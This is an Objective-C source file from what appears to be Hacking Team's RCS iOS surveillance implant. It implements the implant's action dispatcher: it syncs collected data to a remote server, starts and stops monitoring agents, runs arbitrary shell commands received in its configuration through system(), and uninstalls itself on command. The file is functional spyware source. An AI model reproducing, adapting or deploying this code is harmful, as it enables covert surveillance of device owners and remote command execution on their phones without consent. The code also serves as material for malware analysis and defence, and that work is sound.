/*
 * RCSIpony - Actions
 *  Provides all the actions which should be triggered upon an Event
 *
 *
 * Created by Alfredo 'revenge' Pesoli on 11/06/2009
 * Copyright (C) HT srl 2009. All rights reserved
 *
 */
#import <mach/message.h>

#import "RCSIActions.h"
#import "RCSITaskManager.h"
#import "RESTNetworkProtocol.h"
#import "RCSICommon.h"
#import "RCSIInfoManager.h"
#import <mach/mach.h>

//#define DEBUG_
#define JSON_CONFIG

static RCSIActions  *sharedActionManager  = nil;

@implementation RCSIActions

@synthesize notificationPort;

#pragma mark -
#pragma mark Class and init methods
#pragma mark -

+ (RCSIActions *)sharedInstance
{
  @synchronized(self)
  {
  if (sharedActionManager == nil)
    {
      [[self alloc] init];
    }
  }
  
  return sharedActionManager;
}

+ (id)allocWithZone: (NSZone *)aZone
{
  @synchronized(self)
  {
  if (sharedActionManager == nil)
    {
      sharedActionManager = [super allocWithZone: aZone];
      return sharedActionManager;
    }
  }
  
  // On subsequent allocation attemps return nil
  return nil;
}

- (id)copyWithZone: (NSZone *)aZone
{
  return self;
}

- (id)init
{
  Class myClass = [self class];
  
  @synchronized(myClass)
  {
    if (sharedActionManager != nil)
      {
      self = [super init];
      
      if (self != nil)
        {
          // allocated here and never released: al max count == 0
          mActionsMessageQueue = [[NSMutableArray alloc] initWithCapacity:0];
          notificationPort = nil;
        }
      }
  }
  
  return sharedActionManager;
}

- (id)retain
{
  return self;
}

- (unsigned)retainCount
{
  // Denotes an object that cannot be released
  return UINT_MAX;
}

- (void)release
{
  // Do nothing
}

- (id)autorelease
{
  return self;
}

#pragma mark -
#pragma mark Action Dispatcher
#pragma mark -

- (void)synched
{
  @synchronized(self)
  {
    if (isSynching == TRUE)
      isSynching = FALSE;
  }
}

- (BOOL)synching
{
  BOOL success = FALSE;
  
  @synchronized(self)
  {
    if (isSynching == FALSE)
      {
        isSynching = TRUE;
        success = TRUE;
      }
  }
  
  return success;
}

- (BOOL)tryTriggerAction:(int)anActionID
{
  NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
  
  BOOL concurrent = FALSE;
  
  RCSITaskManager *taskManager = [RCSITaskManager sharedInstance];
  
  NSArray *configArray = [taskManager getConfigForAction: anActionID withFlag: &concurrent];
  
  if (configArray == nil)
    return FALSE;
  else
    {
      if (concurrent == FALSE)
        [self triggerAction: configArray];
      else
        {
          [NSThread detachNewThreadSelector: @selector(triggerAction:) toTarget:self withObject:configArray];
        }
    }
    
  [pool release];
  
  return TRUE;
}

- (BOOL)triggerAction: (NSArray*)configArray
{
  NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
    
  NSMutableDictionary *configuration;

  for (configuration in configArray)
    {
      int32_t type = [[configuration objectForKey: @"type"] intValue];
      
      switch (type)
        {
          case ACTION_SYNC:
          {
            if ([[configuration objectForKey: @"status"] intValue] == 0)
              {
              if (gAgentCrisis == NO && [self synching] == TRUE) 
                {
                  NSNumber *status = [NSNumber numberWithInt: 1];
                  [configuration setObject: status forKey: @"status"];
                  
                  NSNumber *stop = [configuration objectForKey: @"stop"];
                  
                  BOOL aRetVal = [self actionSync: configuration];
                  
                  // synching done... reset flag
                  [self synched];
                
                  if (aRetVal == TRUE && stop != nil && [stop boolValue] == TRUE)
                    {
                      [configArray release];
                      [pool release];
                      return TRUE;
                    }
                }
              }
            break;
          }
          case ACTION_AGENT_START:
          {    
            if ([[configuration objectForKey: @"status"] intValue] == 0)
              {
                NSNumber *status = [NSNumber numberWithInt: 1];
                [configuration setObject: status forKey: @"status"];

                [self actionAgent: configuration start: TRUE];
                
              }          
            break;
          }
          case ACTION_AGENT_STOP:
          {
            if ([[configuration objectForKey: @"status"] intValue] == 0)
              {
                NSNumber *status = [NSNumber numberWithInt: 1];
                [configuration setObject: status forKey: @"status"];
                
                [self actionAgent: configuration start: FALSE];
              }
            break;
          }
          case ACTION_UNINSTALL:
          {
            if ([[configuration objectForKey: @"status"] intValue] == 0)
              {
                NSNumber *status = [NSNumber numberWithInt: 1];
                [configuration setObject: status forKey: @"status"];

                [self actionUninstall: configuration];
              }          
            break;
          }
          case ACTION_INFO:
          {
            if ([[configuration objectForKey: @"status"] intValue] == 0)
              {
                NSNumber *status = [NSNumber numberWithInt: 1];
                [configuration setObject: status forKey: @"status"];
                
                [self actionInfo: configuration];
                
                status = [NSNumber numberWithInt: 0];
                [configuration setObject: status forKey: @"status"];
              }
            break;
          }
          case ACTION_COMMAND:
          {
          if ([[configuration objectForKey: @"status"] intValue] == 0)
            {
              NSNumber *status = [NSNumber numberWithInt: 1];
              [configuration setObject: status forKey: @"status"];
           
              [self actionLaunchCommand: configuration];
              
              status = [NSNumber numberWithInt: 0];
              [configuration setObject: status forKey: @"status"];
            }
            break;
          }
          case ACTION_EVENT:
          {
            if ([[configuration objectForKey: @"status"] intValue] == 0)
              {
                NSNumber *status = [NSNumber numberWithInt: 1];
                [configuration setObject: status forKey: @"status"];
                
                [self actionEvent: configuration];
                
                status = [NSNumber numberWithInt: 0];
                [configuration setObject: status forKey: @"status"];
              }
            
            break;
          }
          default:
          {
            break;
          }
        }
    }
  
  // retain by getConfigForAction
  [configArray release];
  
  [pool release];
  
  return TRUE;
}

///////////////////////////////////////////////////

#pragma mark -
#pragma mark Actions
#pragma mark -

///////////////////////////////////////////////////

- (BOOL)actionSync: (NSMutableDictionary *)aConfiguration
{
  NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init];
  
  BOOL aRetVal = TRUE;
  
  [aConfiguration retain];

  NSData *syncConfig = [aConfiguration objectForKey: @"data"];
  
  // play sound in demo mode
  checkAndRunDemoMode();
  
  RESTNetworkProtocol *protocol = [[RESTNetworkProtocol alloc]
                                   initWithConfiguration: syncConfig
                                                 andType: ACTION_SYNC];

  if ([protocol perform] == NO)
    {
      aRetVal = FALSE;
    }
  
  NSNumber *status = [NSNumber numberWithInt: 0];
  [aConfiguration setObject: status forKey: @"status"];

  [protocol release];  
  [aConfiguration release];
  [outerPool release];
  
  return aRetVal;
}

#if 0
- (BOOL)actionSyncAPN: (NSMutableDictionary *)aConfiguration
{
  NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init];
  [aConfiguration retain];

  NSData *syncConfig = [[aConfiguration objectForKey: @"data"] retain];
  RESTNetworkProtocol *protocol = [[RESTNetworkProtocol alloc]
                                   initWithConfiguration: syncConfig
                                                 andType: ACTION_SYNC_APN];

  if ([protocol perform] == NO)
    {
#ifdef DEBUG_ACTIONS
      errorLog(@"An error occurred while syncing over APN with REST proto");
#endif
    }
  else
    {
      BOOL bSuccess = NO;
      
      RCSITaskManager *taskManager = [RCSITaskManager sharedInstance];
      
      NSMutableDictionary *agentConfiguration = [taskManager getConfigForAgent: AGENT_DEVICE];
      
      deviceStruct *tmpDevice = 
      (deviceStruct*)[[agentConfiguration objectForKey: @"data"] bytes];
      
      if (tmpDevice != nil &&
          tmpDevice->isEnabled == AGENT_DEV_ENABLED)
        {          
          bSuccess = [taskManager startAgent: AGENT_DEVICE];
          
#ifdef DEBUG
          NSLog(@"%s: sync performed... restarting DEVICE Agent %d", __FUNCTION__, bSuccess);
#endif
        }
      else
        {
#ifdef DEBUG
          NSLog(@"%s: sync performed... DEVICE Agent dont restarted", __FUNCTION__);
#endif
        }
    }
  
  NSNumber *status = [NSNumber numberWithInt: 0];
  [aConfiguration setObject: status forKey: @"status"];

  [protocol release];  
  [aConfiguration release];
  [outerPool release];
  
  return YES;
}
#endif

- (BOOL)actionAgent: (NSMutableDictionary *)aConfiguration start: (BOOL)aFlag
{
  RCSITaskManager *taskManager = [RCSITaskManager sharedInstance];

  [aConfiguration retain];
  
  //
  // Start/Stop Agent actions got the agentID inside the additional Data
  //
  u_int agentID = 0;
  [[aConfiguration objectForKey: @"data"] getBytes: &agentID];
  
  if (aFlag == TRUE)
    {
#ifdef DEBUG
      NSLog(@"%s: start agent %#x", __FUNCTION__, agentID);
#endif
      [taskManager startAgent: agentID];
    }
   else
    {
#ifdef DEBUG
      NSLog(@"%s: stop agent %#x", __FUNCTION__, agentID);
#endif
     [taskManager stopAgent: agentID];
    }
  NSNumber *status = [NSNumber numberWithInt: 0];
  [aConfiguration setObject: status forKey: @"status"];
  
  return TRUE;
}

- (BOOL)actionLaunchCommand: (NSMutableDictionary *)aConfiguration
{
  NSData *conf = [aConfiguration objectForKey: @"data"];
  NSString *cmdStr = [[NSString alloc] initWithBytes: [conf bytes] length: [conf length] encoding:NSUTF8StringEncoding];
  
  char *commandBuff = (char*)[cmdStr cStringUsingEncoding: NSUTF8StringEncoding];
  
  if (commandBuff != NULL)
    system(commandBuff);
  
  [cmdStr release];
  
  NSNumber *status = [NSNumber numberWithInt: 0];
  [aConfiguration setObject: status forKey: @"status"];
  
  return TRUE;
}

- (BOOL)actionUninstall: (NSMutableDictionary *)aConfiguration
{
  RCSITaskManager *taskManager = [RCSITaskManager sharedInstance];
  [aConfiguration retain];
  
#ifdef DEBUG
  NSLog(@"Action Uninstall started!");
#endif
  
  [taskManager uninstallMeh];
  
  NSNumber *status = [NSNumber numberWithInt: 0];
  [aConfiguration setObject: status forKey: @"status"];
  
  return TRUE;
}

- (BOOL)actionInfo: (NSMutableDictionary *)aConfiguration
{
  RCSIInfoManager *infoManager = [[RCSIInfoManager alloc] init];
  [aConfiguration retain];

  NSData *conf = [aConfiguration objectForKey: @"data"];
  
#ifdef DEBUG
  NSLog(@"Action Info started: %@", [aConfiguration objectForKey: @"data"]);
#endif

  int32_t len = 0;
  NSData *stringData;
  
  [conf getBytes: &len
          length: sizeof(int32_t)];
  
  @try
    {
      stringData = [conf subdataWithRange: NSMakeRange(sizeof(int32_t), len)];
    }
  @catch (NSException *e)
    {
#ifdef DEBUG
      NSLog(@"exception on makerange (%@)", [e reason]);
#endif

      [aConfiguration release];
      return NO;
    }
    
  NSString *text = [[NSString alloc] initWithData: stringData
                                         encoding: NSUTF16LittleEndianStringEncoding];
  
  [infoManager logActionWithDescription: text];
  
  [text release];
  [aConfiguration release];
  [infoManager release];

  return TRUE;
}

typedef struct {
  UInt32 enabled;
  UInt32 event;
} action_event_t;

// FIXED-
- (BOOL)actionEvent: (NSMutableDictionary *)aConfiguration
{
  NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
  
  NSNumber *newStatus;
  action_event_t *event;
  
  [aConfiguration retain];
  
  event = (action_event_t*)[[aConfiguration objectForKey: @"data"] bytes];
  
  if (event != nil)
    {
      if (event->enabled == TRUE) 
        newStatus = [NSNumber numberWithInt: 1];
      else
        newStatus = [NSNumber numberWithInt: 0];
      
      NSMutableDictionary *anEvent = 
      [[[RCSITaskManager sharedInstance] mEventsList] objectAtIndex: event->event];
      
      id anObject = [anEvent objectForKey: @"object"];
      
      if (anObject != nil)
        {
          @synchronized(anObject)
          {  
            if ([anObject respondsToSelector: @selector(setEnabled:)] == YES)
              [anObject performSelector:@selector(setEnabled:) withObject:newStatus];
          }
        }
    }
  
  [aConfiguration release];
  
  [pool release];
  
  return TRUE;
}

///////////////////////////////////////////////////

#pragma mark -
#pragma mark Main runloop
#pragma mark -

///////////////////////////////////////////////////

typedef struct _coreMessage_t
{
  mach_msg_header_t header;
  uint dataLen;
} coreMessage_t;


- (BOOL)addMessage: (NSData*)aMessage
{
  // messages removed by handleMachMessage
  @synchronized(mActionsMessageQueue)
  {
    [mActionsMessageQueue addObject: aMessage];
  }
  
  return TRUE;
}

// handle the incomings events
- (void) handleMachMessage:(void *) msg 
{
  NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
  
  coreMessage_t *coreMsg = (coreMessage_t*)msg;
  
  NSData *theData = [NSData dataWithBytes: ((u_char*)msg + sizeof(coreMessage_t))  
                                   length: coreMsg->dataLen];
  
  [self addMessage: theData];
  
  [pool release];
}

- (BOOL)processAction:(NSData *)aData
{
  NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
  
  int actionID = 0xFFFFFFFF;
  
  if (aData == nil)
    return FALSE;
  
  memcpy(&actionID, [aData bytes], sizeof(int));
  
  [self tryTriggerAction: actionID];
  
  [pool release];
  
  return TRUE;
}

// Process new incoming events
-(int)processIncomingActions
{
  NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
  
  NSMutableArray *tmpMessages;
  
  @synchronized(mActionsMessageQueue)
  {
    tmpMessages = [[mActionsMessageQueue copy] autorelease];
    [mActionsMessageQueue removeAllObjects];
  }
  
#ifdef DEBUG
  NSLog(@"%s: process messages %d", __FUNCTION__, [tmpMessages count]);
#endif  
  
  int logCount = [tmpMessages count];
  
  for (int i=0; i < logCount; i++)
    {
      [self processAction: [tmpMessages objectAtIndex:i]];
    }
  
  [pool release];
  
  return logCount;
}

NSString *kRunLoopActionManagerMode = @"kRunLoopActionManagerMode";

- (void)actionManagerRunLoop
{
  NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];

  while (actionManagerStatus == ACTION_MANAGER_RUNNING &&
         actionManagerStatus == ACTION_MANAGER_STOPPING)
    { 
#ifdef DEBUG
      NSLog(@"%s: actionManagerRunLoop found alredy running", __FUNCTION__);
#endif
      sleep(1);
    }
    
  actionManagerStatus = ACTION_MANAGER_RUNNING;

  NSRunLoop *actionManagerRunLoop = [NSRunLoop currentRunLoop];
  
  notificationPort = [[NSMachPort alloc] init];
  [notificationPort setDelegate: self];
  
  [actionManagerRunLoop addPort: notificationPort 
                        forMode: kRunLoopActionManagerMode];
  
  // run the log loop: event send notification to this
  while (actionManagerStatus == ACTION_MANAGER_RUNNING)
    {
      NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
      
      [actionManagerRunLoop runMode: kRunLoopActionManagerMode 
                         beforeDate: [NSDate dateWithTimeIntervalSinceNow:0.750]];
      
      // process incoming logs out of the runloop
      [self processIncomingActions];   
      
      [pool release];
    }
  
  // remove source port, release machport, remove action queue
  [actionManagerRunLoop removePort: notificationPort 
                           forMode: kRunLoopActionManagerMode];
  
  [notificationPort release];
  notificationPort = nil;
  
  @synchronized(mActionsMessageQueue)
  {
    [mActionsMessageQueue removeAllObjects];
  }
  
  // work is done: stop the manager
  actionManagerStatus = ACTION_MANAGER_STOPPED;
  
  [pool release];
}

- (void)start
{  
  [NSThread detachNewThreadSelector: @selector(actionManagerRunLoop) 
                           toTarget: self withObject:nil];
}

// Excecuted by another thread
- (BOOL)stop
{
  actionManagerStatus = ACTION_MANAGER_STOPPING;
  
  for (int i=0; i<5; i++) 
  { 
    if (actionManagerStatus == ACTION_MANAGER_STOPPED)
      break;
    sleep(1);
  }

  return actionManagerStatus == ACTION_MANAGER_STOPPED ? TRUE : FALSE;
}

///////////////////////////////////////////////////

@end
